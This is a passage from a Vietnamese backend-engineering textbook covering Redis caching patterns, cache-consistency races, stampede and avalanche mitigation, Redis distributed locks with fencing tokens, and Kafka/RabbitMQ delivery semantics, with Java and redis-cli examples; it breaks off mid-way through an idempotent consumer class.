Phiên redis-cli dưới đây minh họa lần lượt: cache một object với TTL, xem TTL còn lại, đếm bằng INCR, lưu object dạng Hash, xếp hạng bằng Sorted Set và lấy khóa bằng SET NX.
	127.0.0.1:6379> SET product:1 "{\"id\":1,\"name\":\"Ao thun\"}" EX 600
OK
127.0.0.1:6379> GET product:1
"{\"id\":1,\"name\":\"Ao thun\"}"
127.0.0.1:6379> TTL product:1
(integer) 594
127.0.0.1:6379> GET product:999
(nil)
127.0.0.1:6379> INCR view:product:1
(integer) 1
127.0.0.1:6379> INCR view:product:1
(integer) 2
127.0.0.1:6379> HSET user:7 name "An" city "HN"
(integer) 2
127.0.0.1:6379> HGET user:7 city
"HN"
127.0.0.1:6379> ZADD leaderboard 120 "an" 300 "binh" 90 "chi"
(integer) 3
127.0.0.1:6379> ZREVRANGE leaderboard 0 1 WITHSCORES
1) "binh"
2) "300"
3) "an"
4) "120"
127.0.0.1:6379> SET lock:job "uuid-1" NX PX 30000
OK
127.0.0.1:6379> SET lock:job "uuid-2" NX PX 30000
(nil)
127.0.0.1:6379> TTL no-such-key
(integer) -2



Giải thích:
1. SET ... EX 600 trả OK và gắn TTL 600 giây; TTL trả số giây còn lại (594 vì đã trôi 6 giây). TTL trả -1 nếu key tồn tại mà không có hạn, -2 nếu key không tồn tại.
1. GET key không có trả (nil): đây chính là cache miss mà code Java nhận được dưới dạng null.
1. INCR tăng và trả giá trị mới trong một lệnh nguyên tử, nên 100 request đồng thời tăng đúng 100, không mất lượt nào như khi GET rồi SET từ Java.
1. HSET trả số field mới được thêm (2); dùng Hash khi muốn sửa một field mà không phải ghi lại cả object.
1. ZREVRANGE ... 0 1 WITHSCORES lấy top 2 điểm cao nhất, Redis tự giữ tập đã sắp xếp nên không cần ORDER BY mỗi lần.
1. SET NX lần hai trả (nil) vì key đã tồn tại: pod thứ hai không lấy được khóa (chi tiết ở mục 8.6).
8.4 Các pattern đọc/ghi cache
	NHẮC LẠI KIẾN THỨC
Transaction chỉ làm thay đổi hiện ra với người khác khi commit; trước commit, ở READ COMMITTED người khác vẫn đọc thấy giá trị cũ (xem mục 6.3). @Transactional commit khi method đi ra khỏi proxy, không phải tại dòng save() (xem mục 4.5).



	Pattern
	Cách làm
	Ưu
	Nhược

	Cache-aside
	App đọc cache, miss thì đọc DB rồi set cache; ghi DB rồi xóa cache
	Đơn giản, phổ biến nhất
	App tự lo logic, vẫn có cửa sổ lệch

	Read/Write-through
	App chỉ nói chuyện với cache, cache tự đọc/ghi DB đồng bộ
	Code app gọn
	Cần provider hỗ trợ, ghi chậm hơn

	Write-behind
	Ghi vào cache, flush xuống DB bất đồng bộ theo lô
	Ghi cực nhanh
	Có thể mất dữ liệu nếu cache sập



Dự án Spring thông thường gần như luôn dùng cache-aside. Write-behind chỉ hợp với dữ liệu chấp nhận mất mát như lượt view.
Từng bước của từng pattern
Để dễ hình dung, cả ba sơ đồ dùng cùng một ví dụ: API đọc và sửa sản phẩm id 1. "App" là service Spring của bạn.
Cache-aside (lazy loading): app tự điều phối cả cache lẫn DB.
	READ product 1
  1. App  -> Redis : GET product:1
  2a. Hit : Redis returns the value -> App returns it (done, DB untouched)
  2b. Miss: Redis returns nil
  3. App  -> DB    : SELECT * FROM product WHERE id = 1
  4. App  -> Redis : SET product:1 <json> EX 600
  5. App returns the value
WRITE product 1
  1. App  -> DB    : UPDATE product SET ... WHERE id = 1 ; COMMIT
  2. App  -> Redis : DEL product:1   (the next read reloads it)



Write-through / read-through: app chỉ nói chuyện với lớp cache, lớp cache tự đọc/ghi DB.
	WRITE product 1
  1. App   -> Cache : put(1, newValue)
  2. Cache -> DB    : UPDATE ... (synchronously, inside the same call)
  3. Cache stores newValue, then returns OK to App
READ product 1
  1. App   -> Cache : get(1)
  2. Miss: Cache -> DB : SELECT ... ; Cache stores it ; returns it



Write-behind (write-back): ghi vào cache là xong, DB được cập nhật sau.
	WRITE view count of product 1
  1. App   -> Cache : INCR view:1   (returns immediately)
  2. ... every 5 seconds, a background flusher:
  3. Flusher -> Cache : read all dirty counters
  4. Flusher -> DB    : one batched UPDATE for 500 products
  If the cache node dies between step 1 and step 4, those increments are lost.



Giải thích: khác biệt nằm ở ai chịu trách nhiệm đồng bộ và khi nào DB được ghi. Cache-aside: app làm hết, DB luôn được ghi trước nên DB là nguồn sự thật, cache chỉ là bản sao có thể bị xóa bất kỳ lúc nào. Write-through: DB và cache được ghi đồng bộ trong cùng một lời gọi, đọc ngay sau khi ghi luôn thấy giá trị mới, nhưng mỗi lần ghi chậm bằng tổng hai lần ghi và cần thư viện hỗ trợ (ví dụ CacheWriter/CacheLoader của JCache, Redisson). Write-behind: ghi cực nhanh và gom được nhiều thay đổi thành một câu SQL, nhưng DB luôn "đi sau", và dữ liệu chưa flush sẽ mất nếu cache sập, nên chỉ dùng cho số liệu như lượt xem, lượt like.
Vì sao xóa cache chứ không cập nhật cache?
Hai request cùng cập nhật một bản ghi có thể ghi DB theo thứ tự A rồi B nhưng ghi cache theo thứ tự B rồi A: DB giữ giá trị B, cache giữ giá trị A cho tới khi hết TTL. Xóa cache thì lần đọc sau tự nạp giá trị mới nhất, và không tốn công cập nhật dữ liệu không ai đọc.
Bảng thời gian dưới đây cho thấy race đó với số cụ thể: giá sản phẩm ban đầu 100, request A đổi thành 120, request B đổi thành 150 ngay sau đó.
	Thời điểm
	Request A (giá 120)
	Request B (giá 150)
	DB / Redis

	t1
	UPDATE DB giá 120, commit
	
	DB=120, Redis=100

	t2
	bị GC pause 200ms
	UPDATE DB giá 150, commit
	DB=150

	t3
	
	SET Redis giá 150
	Redis=150

	t4
	tỉnh lại, SET Redis giá 120
	
	DB=150, Redis=120



Giải thích: sau t4, mọi người đọc thấy giá 120 trong khi giá thật là 150, và tình trạng này kéo dài tới khi key hết TTL (có thể 10 phút). Nếu cả A và B đều DEL thay vì SET, dù thứ tự đảo thế nào kết quả cuối vẫn là "không có key", lần đọc sau đọc DB và thấy 150.
Xóa cache sau khi commit
Thứ tự đúng là: commit DB rồi mới xóa cache. Nếu xóa cache trước khi commit, một request đọc chen vào sẽ miss, đọc DB (vẫn là giá trị cũ vì chưa commit) và nạp lại giá trị cũ vào cache. Trong ví dụ ở mục 8.2, @CacheEvict và @Transactional cùng đặt trên một method, nên thời điểm evict so với commit phụ thuộc vào thứ tự các interceptor. Hai cách làm chắc chắn:
1. Bật transactionAware() khi build RedisCacheManager: các thao tác put/evict được hoãn đến sau khi transaction commit.
1. Publish một event trong transaction và xóa cache trong @TransactionalEventListener(phase = TransactionPhase.AFTER_COMMIT).
Kịch bản xóa cache trước commit gây lệch, trình bày theo thời gian (giá cũ 100, giá mới 150):
	Thời điểm
	Request ghi (W)
	Request đọc (R)
	DB / Redis

	t1
	BEGIN, UPDATE giá 150 (chưa commit)
	
	DB đã commit vẫn 100

	t2
	DEL product:1
	
	Redis trống

	t3
	
	GET miss, SELECT thấy 100 (bản đã commit)
	

	t4
	
	SET product:1 = 100
	Redis=100

	t5
	COMMIT
	
	DB=150, Redis=100



Giải thích: R chen vào đúng khoảng giữa lúc xóa cache và lúc commit, đọc được bản cũ đã commit (đúng theo isolation, xem mục 6.3) và nạp nó ngược vào cache. Kết quả là cache giữ giá 100 tới hết TTL. Đổi thứ tự thành "commit xong mới DEL" thì ở t3 R vẫn đọc Redis thấy giá trị cũ (chưa bị xóa), nhưng ngay sau commit key bị xóa và lần đọc tiếp theo nạp giá 150.
Cách thứ hai trong danh sách trên viết bằng Spring như sau: service ghi DB và publish event, listener chỉ chạy sau khi transaction commit thành công.
	@Service
public class ProductWriteService {
    private final ProductRepository repo;
    private final ApplicationEventPublisher events;
 
    public ProductWriteService(ProductRepository repo, ApplicationEventPublisher events) {
        this.repo = repo;
        this.events = events;
    }
 
    @Transactional
    public void rename(Long id, String name) {
        repo.findById(id).orElseThrow().rename(name);
        events.publishEvent(new ProductChanged(id)); // buffered until the transaction ends
    }
}
 
@Component
class ProductCacheEvictor {
    private final CacheManager cacheManager;
    ProductCacheEvictor(CacheManager cacheManager) { this.cacheManager = cacheManager; }
 
    @TransactionalEventListener(phase = TransactionPhase.AFTER_COMMIT) // skipped on rollback
    void on(ProductChanged e) { cacheManager.getCache("product").evict(e.id()); }
}



Giải thích: publishEvent được gọi trong transaction nhưng listener AFTER_COMMIT không chạy ngay; Spring giữ event lại và chỉ gọi listener sau khi commit thành công. Nếu transaction rollback, listener không chạy và cache cũng không bị xóa oan. Nhờ vậy thứ tự "commit rồi mới xóa" được bảo đảm, không phụ thuộc thứ tự interceptor như khi đặt @CacheEvict cạnh @Transactional.
Ngay cả khi làm đúng vẫn còn một race hiếm gặp: request đọc miss, đọc giá trị cũ từ DB, bị chậm; trong lúc đó request ghi commit và xóa cache; request đọc mới set giá trị cũ vào cache. Vì vậy luôn đặt TTL làm lưới an toàn cuối cùng. Hệ thống cần chặt hơn có thể dùng "delayed double delete" (xóa thêm lần nữa sau vài trăm ms) hoặc lắng nghe binlog/WAL bằng CDC (Debezium) để xóa cache.
Race hiếm gặp đó, theo thời gian:
	Thời điểm
	Request đọc (R)
	Request ghi (W)
	DB / Redis

	t1
	GET miss
	
	Redis trống, DB=100

	t2
	SELECT thấy 100, rồi bị chậm
	
	

	t3
	
	UPDATE 150, COMMIT
	DB=150

	t4
	
	DEL product:1 (key không có)
	Redis trống

	t5
	SET product:1 = 100
	
	Redis=100



Giải thích: R đọc DB trước khi W commit nhưng ghi cache sau khi W đã xóa, nên giá trị cũ được đặt vào cache. Race này cần R chậm hơn cả một lần ghi DB, nên hiếm, nhưng với hàng triệu request mỗi ngày thì sẽ xảy ra. "Delayed double delete" chữa đúng trường hợp này: W xóa thêm lần nữa sau khoảng 500ms, khi R gần như chắc chắn đã ghi xong giá trị cũ. TTL là chốt cuối nếu cả lần xóa thứ hai cũng trượt.
8.5 Penetration, breakdown, avalanche
	Sự cố
	Nguyên nhân
	Cách chống

	Penetration
	Truy vấn key không tồn tại, cache luôn miss, DB gánh hết
	Cache giá trị rỗng với TTL ngắn, Bloom filter, validate input

	Breakdown (stampede)
	Một key rất nóng hết hạn, hàng nghìn request cùng đập vào DB
	Khóa theo key để một request nạp lại, refresh trước khi hết hạn, key nóng không đặt TTL cứng

	Avalanche
	Rất nhiều key hết hạn cùng lúc hoặc Redis sập
	TTL cộng jitter ngẫu nhiên, Redis HA (Sentinel/Cluster), cache 2 tầng, circuit breaker bảo vệ DB



Ví dụ thật: team warm-up cache lúc 0h với cùng TTL 24h, đúng 0h hôm sau DB lên 100% CPU. Sửa bằng TTL 24h cộng ngẫu nhiên 0–30 phút.
Penetration: kịch bản và cách chữa
Kịch bản: API GET /products/{id} dùng cache-aside. Một bot gửi 2.000 request/giây với id ngẫu nhiên từ 10.000.000 đến 99.999.999, trong khi DB chỉ có id tới 50.000. Mọi request đều miss (vì không có gì để cache), đều xuống DB, và vì unless = "#result == null" nên không có gì được lưu lại. Cache vô dụng, DB gánh 2.000 truy vấn/giây.
Cách chữa, từ rẻ đến đắt:
1. Validate input: id âm, sai định dạng thì trả 400 ngay ở controller, không chạm cache lẫn DB.
1. Cache giá trị rỗng với TTL ngắn: id không tồn tại thì vẫn ghi product:99999999 = NULL_MARKER với TTL 60 giây. Bot hỏi lại cùng id sẽ hit.
1. Bloom filter: cấu trúc dữ liệu nhỏ trả lời "chắc chắn không có" hoặc "có thể có". Nạp mọi id đang tồn tại vào đó; id bị Bloom filter nói "chắc chắn không có" thì trả 404 luôn. Bloom filter có thể báo nhầm "có thể có" (một ít request vẫn xuống DB) nhưng không bao giờ báo nhầm "không có".
1. Rate limit theo IP/user ở gateway để chặn bot từ gốc.
Breakdown (stampede): kịch bản và cách chữa
Kịch bản: trang chủ gọi key home:banner với 5.000 request/giây. Key có TTL 10 phút, và truy vấn nạp lại mất 2 giây. Đúng lúc key hết hạn, trong 2 giây truy vấn nạp chạy, khoảng 10.000 request cùng miss và cùng chạy đúng câu truy vấn nặng đó. DB nghẽn, truy vấn càng chậm, càng nhiều request dồn vào: đó là stampede ("đàn trâu giẫm đạp").
Cách chữa là chỉ cho một request nạp lại, những request khác chờ kết quả đó. Trong một JVM, ConcurrentHashMap.computeIfAbsent đã làm đúng việc này: hàm nạp chỉ chạy một lần cho mỗi key còn thiếu, các thread khác gọi cùng key thì chờ. Đoạn code dưới đây cho 100 thread cùng xin một key đang trống.
	import java.util.concurrent.*;
import java.util.concurrent.atomic.AtomicInteger;
 
public class SingleFlightDemo {
    static final ConcurrentHashMap<String, String> cache = new ConcurrentHashMap<>();
    static final AtomicInteger dbCalls = new AtomicInteger();
 
    static String loadFromDb(String key) {
        dbCalls.incrementAndGet();
        try { Thread.sleep(200); } catch (InterruptedException e) { Thread.currentThread().interrupt(); }
        return "banner-v2";
    }
 
    public static void main(String[] args) throws Exception {
        try (ExecutorService pool = Executors.newFixedThreadPool(100)) {
            for (int i = 0; i < 100; i++) {
                pool.submit(() -> cache.computeIfAbsent("home:banner", SingleFlightDemo::loadFromDb)); // loader runs once per missing key
            }
        } // close() waits for all tasks
        System.out.println("DB calls: " + dbCalls.get()); // prints: DB calls: 1
    }
}



Giải thích: cả 100 thread cùng thấy key thiếu, nhưng computeIfAbsent khóa theo bucket chứa key đó, nên chỉ thread đầu tiên chạy loadFromDb, 99 thread còn lại chờ và nhận luôn kết quả. In ra DB calls: 1. Nếu thay bằng "get, thấy null thì loadFromDb rồi put", số lần gọi DB sẽ gần 100. @Cacheable(sync = true) hoạt động theo cùng ý tưởng nhưng chỉ trong một JVM; với 10 pod, bạn có tối đa 10 lần nạp (chấp nhận được), hoặc dùng khóa Redis SET NX để chỉ một pod nạp. Các cách khác: refresh key nóng bất đồng bộ trước khi hết hạn (ví dụ còn 1 phút thì một job nạp lại), hoặc để key nóng không có TTL cứng và cập nhật bằng event. Lưu ý không nên giữ khóa computeIfAbsent quá lâu trong code thật: hàm nạp chậm sẽ chặn cả các key khác cùng bucket.
Avalanche: kịch bản và cách chữa
Kịch bản 1 (hết hạn đồng loạt): job warm-up lúc 0h nạp 200.000 sản phẩm vào Redis với cùng TTL 24h. Đúng 0h hôm sau, 200.000 key hết hạn trong cùng một giây, mọi request đều miss và DB nhận toàn bộ tải.
	TTL
	Số key hết hạn trong phút 0h00
	Tải lên DB

	24h cố định
	200.000
	Đỉnh dựng đứng, DB 100% CPU

	24h + ngẫu nhiên 0–30 phút
	khoảng 6.700 mỗi phút
	Rải đều trong 30 phút



Kịch bản 2 (Redis sập): Redis master chết, mọi lệnh GET timeout. Nếu code coi lỗi Redis như cache miss và xuống DB, DB nhận 100% traffic ngay lập tức.
Cách chữa: TTL cộng jitter ngẫu nhiên (chia 200.000 cho 30 phút ra khoảng 6.700 key mỗi phút như bảng trên); Redis HA (Sentinel hoặc Cluster) để có replica thay thế; cache hai tầng (Caffeine trong JVM giữ bản gần nhất vài chục giây khi Redis sập); circuit breaker hoặc rate limit trước DB để khi Redis sập thì một phần request nhận lỗi nhanh thay vì cả hệ thống chết theo. Timeout gọi Redis cũng phải ngắn (vài chục ms), nếu không thread sẽ bị giữ chờ Redis chết.
8.6 Distributed lock với Redis
	NHẮC LẠI KIẾN THỨC
Chốt chặn đúng đắn cuối cùng nên nằm ở DB: optimistic lock bằng @Version, SELECT ... FOR UPDATE, hoặc atomic update UPDATE ... WHERE stock > 0 rồi kiểm tra số dòng bị ảnh hưởng (xem "Optimistic vs pessimistic lock" ở mục 6.3).



Khi nhiều instance cần đảm bảo chỉ một nơi làm một việc (chạy job, nạp lại một key nóng), cách cơ bản là một lệnh SET có điều kiện để lấy khóa và một Lua script để trả khóa. Ví dụ dưới đây: 3 pod cùng chạy job xuất báo cáo tháng 6 lúc 1h sáng, chỉ một pod được phép chạy.
	-- Acquire: succeeds only if the key does not exist, auto-expires after 30 seconds
SET lock:report:2024-06 "8f3c-uuid-cua-instance" NX PX 30000
 
-- Release with Lua so that "check owner, then delete" is atomic
if redis.call("GET", KEYS[1]) == ARGV[1] then  -- is the lock still mine?
  return redis.call("DEL", KEYS[1])            -- owner matches: delete, return 1
else
  return 0                                     -- lock expired and now belongs to someone else: leave it
end



Giải thích: pod nào gửi SET ... NX đầu tiên nhận OK và được chạy job; hai pod còn lại nhận nil (key đã tồn tại) nên bỏ qua. Làm xong, pod giữ khóa chạy Lua script với KEYS[1] là tên khóa và ARGV[1] là uuid của mình. Phải dùng script vì nếu tách thành hai lệnh GET rồi DEL từ Java, giữa hai lệnh khóa có thể hết hạn và pod khác đã lấy được khóa mới, lệnh DEL sẽ xóa nhầm khóa của pod kia. Redis chạy trọn một Lua script mà không xen lệnh khác vào, nên bước kiểm tra và bước xóa không thể bị chen ngang. Các tham số quan trọng:
1. NX: chỉ set nếu key chưa tồn tại. PX 30000: tự hết hạn sau 30 giây để không kẹt khóa khi process chết.
1. Value là một id duy nhất để không xóa nhầm khóa của người khác.
Rủi ro cần nói được: nếu công việc chạy lâu hơn thời hạn khóa (GC pause dài, gọi mạng chậm), khóa hết hạn và một instance khác cũng vào được. Redisson giảm rủi ro này bằng watchdog tự gia hạn, nhưng không loại bỏ được hoàn toàn. Redis replication là bất đồng bộ nên khi master chết và replica lên thay, khóa có thể mất. Với nghiệp vụ mà sai là mất tiền, khóa Redis chỉ là lớp tối ưu; lớp bảo vệ cuối cùng phải là DB (unique constraint, optimistic lock, UPDATE ... WHERE có điều kiện) hoặc fencing token.
Kịch bản khóa hết hạn giữa chừng, với khóa TTL 30 giây:
	Giây
	Pod A
	Pod B
	Khóa trong Redis

	0
	SET NX OK, bắt đầu job
	
	của A, token 33

	10
	GC pause 25 giây
	
	của A

	30
	(vẫn đang dừng)
	
	hết hạn, bị xóa

	31
	
	SET NX OK, bắt đầu job
	của B, token 34

	35
	tỉnh lại, ghi kết quả
	đang ghi kết quả
	của B



Giải thích: từ giây 35, cả A và B đều tin mình giữ khóa và cùng ghi, ví dụ cùng xuất báo cáo hoặc cùng trừ tiền. Lua script vẫn ngăn A xóa nhầm khóa của B, nhưng không ngăn được A ghi dữ liệu. Fencing token chữa đúng chỗ này: mỗi lần cấp khóa kèm một số tăng dần (A được 33, B được 34), và nơi nhận dữ liệu lưu token lớn nhất từng thấy, từ chối mọi lần ghi có token nhỏ hơn. Khi B đã ghi với token 34, lần ghi muộn của A với token 33 bị từ chối. Trong SQL có thể viết UPDATE report SET ..., fence = 33 WHERE id = ? AND fence < 33.
8.7 Message Queue: vì sao và khi nào
Message queue là gì, nói bằng lời thường
Nghĩ tới quầy gọi món ở một quán ăn đông khách. Nhân viên thu ngân nhận order, ghi vào phiếu, ghim phiếu lên thanh treo, rồi phục vụ khách tiếp theo ngay, không đứng chờ bếp nấu xong. Đầu bếp lấy phiếu từ thanh treo theo tốc độ của mình. Trong phần mềm:
1. Message là tờ phiếu: một gói dữ liệu mô tả việc cần làm hoặc chuyện đã xảy ra, ví dụ {"event":"OrderCreated","orderId":1001}.
1. Producer là thu ngân: phần code gửi message.
1. Consumer là đầu bếp: phần code nhận và xử lý message.
1. Broker (message queue, như Kafka hay RabbitMQ) là thanh treo phiếu: hệ thống trung gian giữ message an toàn cho tới khi consumer lấy.
Điểm cốt lõi: producer và consumer không gọi trực tiếp nhau, không cần cùng sống một lúc, và không cần chạy cùng tốc độ. Bếp nghỉ 5 phút thì phiếu vẫn nằm trên thanh treo, không mất.
Ví dụ cụ thể: API đăng ký tài khoản cần lưu user (20ms) và gửi email chào mừng qua dịch vụ SMTP (800ms, đôi khi lỗi). Không có queue, API mất khoảng 820ms và báo lỗi cho user nếu SMTP chết. Có queue, API lưu user, gửi message UserRegistered (vài ms) và trả về ngay; một consumer riêng gửi email và tự retry nếu SMTP lỗi, user không hề biết.
Message queue mang lại ba lợi ích chính:
1. Decoupling: producer không cần biết ai tiêu thụ, thêm consumer mới không phải sửa producer.
1. Async: tác vụ chậm (gửi email, xuất báo cáo, gọi đối tác) chuyển xuống nền, API trả về nhanh.
1. Load leveling: hứng đỉnh tải, consumer xử lý theo tốc độ của mình thay vì để DB bị đè chết.
Cái giá: eventual consistency, debug khó hơn, phải xử lý message trùng, lỗi, thứ tự, và thêm một hạ tầng cần vận hành.
8.8 Kafka ở mức phải nắm
Các khái niệm Kafka bằng lời thường
1. Topic: một "kênh" đặt tên theo loại sự kiện, ví dụ order-events. Producer gửi vào topic, consumer đọc từ topic.
1. Partition: một topic được chia thành nhiều "làn" song song. Topic order-events có 3 partition nghĩa là có 3 cuốn sổ riêng P0, P1, P2. Chia làn để nhiều consumer đọc cùng lúc, mỗi người một làn.
1. Offset: số thứ tự của message trong một partition, bắt đầu từ 0 và tăng dần, giống số dòng trong cuốn sổ. P0 và P1 đều có message offset 5, nhưng là hai message khác nhau.
1. Consumer group: một nhóm consumer cùng làm một việc, chia nhau các partition. Ví dụ group email-service có 2 pod thì 2 pod chia nhau 3 partition. Group khác (ví dụ analytics) đọc lại toàn bộ topic độc lập, không ảnh hưởng group thứ nhất.
1. Committed offset: "đánh dấu trang" của một group trên mỗi partition: group đã xử lý xong tới đâu. Consumer khởi động lại sẽ đọc tiếp từ dấu đó.
1. Consumer lag: khoảng cách giữa message mới nhất trong partition và dấu trang của group, tức là số message còn tồn chưa xử lý.
1. Topic chia thành nhiều partition. Mỗi partition là một log chỉ ghi nối đuôi; mỗi message có offset tăng dần trong partition đó.
1. Message không bị xóa khi đọc; Kafka giữ theo retention (thời gian hoặc dung lượng), nên có thể đọc lại (replay) bằng cách lùi offset.
1. Thứ tự chỉ được đảm bảo trong một partition. Producer gửi kèm key, partitioner mặc định hash key để chọn partition, nên mọi sự kiện cùng orderId sẽ vào cùng partition và giữ thứ tự.
1. Consumer group: mỗi partition chỉ được giao cho đúng một consumer trong group. Số consumer lớn hơn số partition thì consumer thừa ngồi chơi, nên số partition là trần song song của một group.
1. Consumer commit offset để đánh dấu đã xử lý đến đâu. Khi rebalance (thêm/bớt consumer, consumer chết), partition được chia lại.
1. Replication: mỗi partition có một leader và các follower. ISR (in-sync replicas) là các replica theo kịp leader.
1. acks phía producer: 0 không chờ gì; 1 chỉ chờ leader ghi; all chờ mọi replica trong ISR. Cấu hình bền vững phổ biến: replication factor 3, min.insync.replicas=2, acks=all.
Ví dụ số: partition chia cho consumer ra sao
Topic order-events có 3 partition (P0, P1, P2), group order-service lần lượt chạy 2, 3 rồi 4 consumer:
	Số consumer
	Phân công
	Nhận xét

	2 (C1, C2)
	C1: P0, P1; C2: P2
	C1 làm gấp đôi C2

	3
	mỗi consumer một partition
	Cân bằng, song song tối đa

	4
	C1: P0, C2: P1, C3: P2, C4: không có gì
	C4 ngồi chơi, chỉ làm dự phòng

	1
	C1: P0, P1, P2
	Vẫn chạy, chỉ chậm hơn



Đoạn code dưới đây mô phỏng cách chia "theo dải liên tiếp" (giống RangeAssignor của Kafka cho một topic) để bạn tự thử với số khác.
	import java.util.*;
 
public class GroupAssign {
    // Simplified RangeAssignor for one topic: contiguous ranges
    static Map<String, List<Integer>> assign(int partitions, int consumers) {
        Map<String, List<Integer>> result = new LinkedHashMap<>();
        int per = partitions / consumers, extra = partitions % consumers, p = 0;
        for (int c = 0; c < consumers; c++) {
            int count = per + (c < extra ? 1 : 0); // the first "extra" consumers take one more
            List<Integer> mine = new ArrayList<>();
            for (int i = 0; i < count; i++) mine.add(p++);
            result.put("C" + (c + 1), mine);
        }
        return result;
    }
 
    public static void main(String[] args) {
        System.out.println(assign(3, 2)); // prints: {C1=[0, 1], C2=[2]}
        System.out.println(assign(3, 3)); // prints: {C1=[0], C2=[1], C3=[2]}
        System.out.println(assign(3, 4)); // prints: {C1=[0], C2=[1], C3=[2], C4=[]}
    }
}



Giải thích: 3 partition chia 2 consumer được 1 dư 1, nên C1 nhận thêm một partition: C1=[0, 1], C2=[2]. Với 4 consumer, mỗi người được 0 dư 3, ba consumer đầu mỗi người một partition, C4 nhận danh sách rỗng. Đây là lý do "số partition là trần song song": muốn 6 consumer cùng làm việc thì topic phải có ít nhất 6 partition. Khi thêm C4 vào group, Kafka chạy rebalance: tạm dừng tiêu thụ, chia lại partition, rồi các consumer đọc tiếp từ committed offset của từng partition. Nếu có group thứ hai (ví dụ analytics) với 1 consumer, consumer đó nhận cả 3 partition và đọc mọi message, song song với order-service.
Ví dụ số: offset, commit và consumer lag
Lệnh dưới đây xem trạng thái của group trên từng partition; output mẫu là lúc hệ thống đang tồn việc.
	kafka-consumer-groups.sh --bootstrap-server localhost:9092 --describe --group order-service
# GROUP          TOPIC         PARTITION  CURRENT-OFFSET  LOG-END-OFFSET  LAG   CONSUMER-ID
# order-service  order-events  0          1500            1520            20    consumer-1-...
# order-service  order-events  1          980             980             0     consumer-1-...
# order-service  order-events  2          2000            7000            5000  consumer-2-...



Giải thích: CURRENT-OFFSET là dấu trang đã commit (message tiếp theo cần xử lý), LOG-END-OFFSET là offset sẽ được gán cho message mới tiếp theo, và LAG là hiệu hai số đó. P0 tồn 20 message là bình thường, P1 đã theo kịp, còn P2 tồn 5.000 message: consumer-2 đang chậm hoặc bị kẹt ở một message lỗi. Nếu consumer-2 chết và C1 nhận P2 sau rebalance, C1 bắt đầu đọc từ offset 2000. Lag tăng liên tục là tín hiệu cần alert.
Ví dụ: key quyết định partition
Producer gửi 4 event với key là mã đơn. Partitioner mặc định tính murmur2(key) % 3, nên với cùng số partition, cùng key luôn ra cùng một partition (con số cụ thể dưới đây chỉ minh họa):
	Event
	Key
	Partition

	OrderCreated
	order-1001
	P2

	OrderCreated
	order-1002
	P0

	OrderPaid
	order-1001
	P2

	OrderShipped
	order-1001
	P2



Giải thích: ba event của order-1001 nằm cùng P2 theo đúng thứ tự gửi, nên consumer của P2 xử lý Created, Paid, Shipped đúng thứ tự. Event của order-1002 nằm ở P0 và có thể được xử lý trước hoặc sau, không sao vì hai đơn độc lập. Gửi không có key thì Kafka rải message lên các partition, thứ tự giữa các event của cùng một đơn không còn được đảm bảo.
	GHI CHÚ
Từ Kafka 3.0, producer mặc định acks=all và enable.idempotence=true, giúp retry của producer không sinh bản ghi trùng trong partition. Tài liệu cũ ghi mặc định acks=1 là đã lỗi thời. Lưu ý idempotent producer chỉ chống trùng do retry phía producer, không chống trùng phía consumer.



	BẪY THƯỜNG GẶP
Tăng số partition của topic đang chạy sẽ làm thay đổi ánh xạ key sang partition. Các message mới của cùng một orderId có thể rơi vào partition khác, phá vỡ thứ tự trong giai đoạn chuyển tiếp. Hãy chọn số partition đủ dư ngay từ đầu.



8.9 RabbitMQ và khi nào chọn cái nào
RabbitMQ theo mô hình broker thông minh: producer gửi vào exchange, exchange định tuyến đến queue theo binding và routing key. Các loại exchange: direct (khớp đúng routing key), topic (khớp mẫu như order.*.created), fanout (phát cho mọi queue), headers. Consumer ack thì message bị xóa khỏi queue; nack hoặc bị từ chối có thể đưa sang dead letter exchange.
	Tiêu chí
	Kafka
	RabbitMQ

	Mô hình
	Log phân tán, consumer pull
	Queue, broker push kèm prefetch

	Sau khi đọc
	Giữ lại theo retention, replay được
	Xóa sau khi ack

	Thông lượng
	Rất cao, hợp event streaming
	Tốt, hợp task queue

	Định tuyến
	Đơn giản theo topic/partition
	Linh hoạt qua exchange/binding

	Chọn khi
	Event sourcing, log, nhiều hệ thống cùng đọc, cần replay
	Job nền, định tuyến phức tạp, cần priority, TTL từng message



8.10 Delivery semantics, idempotent consumer, retry và DLQ
	Semantics
	Cách đạt
	Hệ quả

	At-most-once
	Commit offset trước rồi mới xử lý
	Có thể mất message

	At-least-once
	Xử lý xong mới commit offset
	Có thể nhận trùng

	Exactly-once
	Kafka transactions cho luồng đọc-xử lý-ghi trong Kafka
	Không tự áp dụng cho DB hay API bên ngoài



	NHẮC LẠI KIẾN THỨC
Idempotent nghĩa là làm một lần hay nhiều lần cho cùng một kết quả; cách chắc nhất để chống trùng là unique constraint trong DB thay vì SELECT rồi INSERT (xem mục 7.2 và cơ chế Idempotency-Key ở mục 7.4).



Kịch bản at-least-once gây xử lý trùng, từng bước
Consumer của group loyalty-service cộng 100 điểm cho mỗi event OrderPaid. Message E1 (đơn 1001, offset 42 trên P0) được xử lý như sau:
1. Consumer poll, nhận E1 ở offset 42.
1. Consumer cộng 100 điểm cho khách trong DB và commit transaction DB. Khách có 100 điểm.
1. Trước khi kịp commit offset 43 lên Kafka, pod bị Kubernetes kill vì deploy phiên bản mới (hoặc xử lý quá max.poll.interval.ms và bị coi là chết).
1. Rebalance: P0 được giao cho pod khác. Committed offset của P0 vẫn là 42.
1. Pod mới đọc từ offset 42, nhận lại E1, cộng thêm 100 điểm. Khách có 200 điểm cho một đơn.
Giải thích: không có bước nào "lỗi" theo nghĩa kỹ thuật; đây là hành vi đúng thiết kế của at-least-once: thà xử lý lại còn hơn làm mất. Nếu đảo thứ tự thành commit offset trước rồi mới xử lý (at-most-once), pod chết ở bước 3 sẽ khiến E1 bị bỏ qua và khách mất điểm. Vì không có thứ tự nào tránh được cả hai, cách chữa là làm bước 2 idempotent: ghi eventId vào bảng có khóa chính trong cùng transaction với việc cộng điểm, như code dưới đây. Các nguồn gây trùng khác cần kể được: producer gửi lại khi không nhận được ack (nếu tắt idempotent producer), outbox relay gửi lại, và người vận hành reset offset để replay.
Thực tế gần như mọi hệ thống chọn at-least-once cộng consumer idempotent, và gọi kết quả là "effectively once". Consumer idempotent nghĩa là xử lý một message hai lần cho kết quả như một lần. Cách phổ biến: bảng processed_message có khóa chính là message_id, ghi trong cùng transaction với thay đổi nghiệp vụ. Đoạn code dưới đây xử lý event "thanh toán thành công" và phải an toàn khi Kafka giao lại cùng một event lần thứ hai.
	@Component
public class PaymentEventConsumer {
    private final ProcessedMessageRepository processedRepo;
    private final OrderService orderService;
 
    public PaymentEventConsumer(ProcessedMessageRepository processedRepo, OrderService orderService) {
